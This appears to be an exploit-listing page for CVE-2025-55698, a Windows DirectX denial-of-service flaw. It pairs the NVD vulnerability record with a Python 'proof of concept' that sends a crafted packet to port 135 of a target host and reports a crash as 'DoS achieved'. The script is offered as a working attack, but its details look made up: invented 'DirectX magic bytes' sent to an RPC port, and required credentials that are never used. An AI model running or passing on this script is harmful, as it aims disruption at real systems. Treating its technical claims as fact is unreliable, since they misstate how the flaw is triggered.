CVE-2025-55698

# CVE-2025-55698 - Windows DirectX Null Pointer Dereference PoC # This PoC demonstrates the concept of triggering a null pointer dereference # in Windows DirectX by sending specially crafted network data. # Note: This is for educational and authorized testing purposes only. import socket import struct import sys TARGET_HOST = "192.168.1.100" TARGET_PORT = 135 # Common DirectX/RPC port def build_malicious_packet(): """ Construct a malformed DirectX-related network packet designed to trigger null pointer dereference in the vulnerable DirectX component. """ # Crafted packet header mimicking DirectX protocol packet = b"\x44\x58\x00\x00" # DX magic bytes packet += struct.pack("<I", 0x00000000) # Null/corrupted length field packet += struct.pack("<I", 0xFFFFFFFF) # Invalid type identifier packet += b"\x00" * 64 # Null payload to trigger null pointer dereference return packet def exploit(target_host, target_port): """ Send the malicious packet to trigger the vulnerability. Requires valid low-privilege credentials (PR:L). """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) payload = build_malicious_packet() sock.send(payload) # Attempt to receive response - crash will cause connection drop try: response = sock.recv(1024) if not response: print(f"[+] Target {target_host} appears to have crashed (DoS achieved)") except socket.timeout: print(f"[*] Connection timed out - target may be unresponsive") except ConnectionResetError: print(f"[+] Connection reset - DoS confirmed on {target_host}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST exploit(target, TARGET_PORT)

{"cve": {"id": "CVE-2025-55698", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:51.677", "lastModified": "2025-10-31T16:24:31.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Null pointer dereference in Windows DirectX allows an authorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55698", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}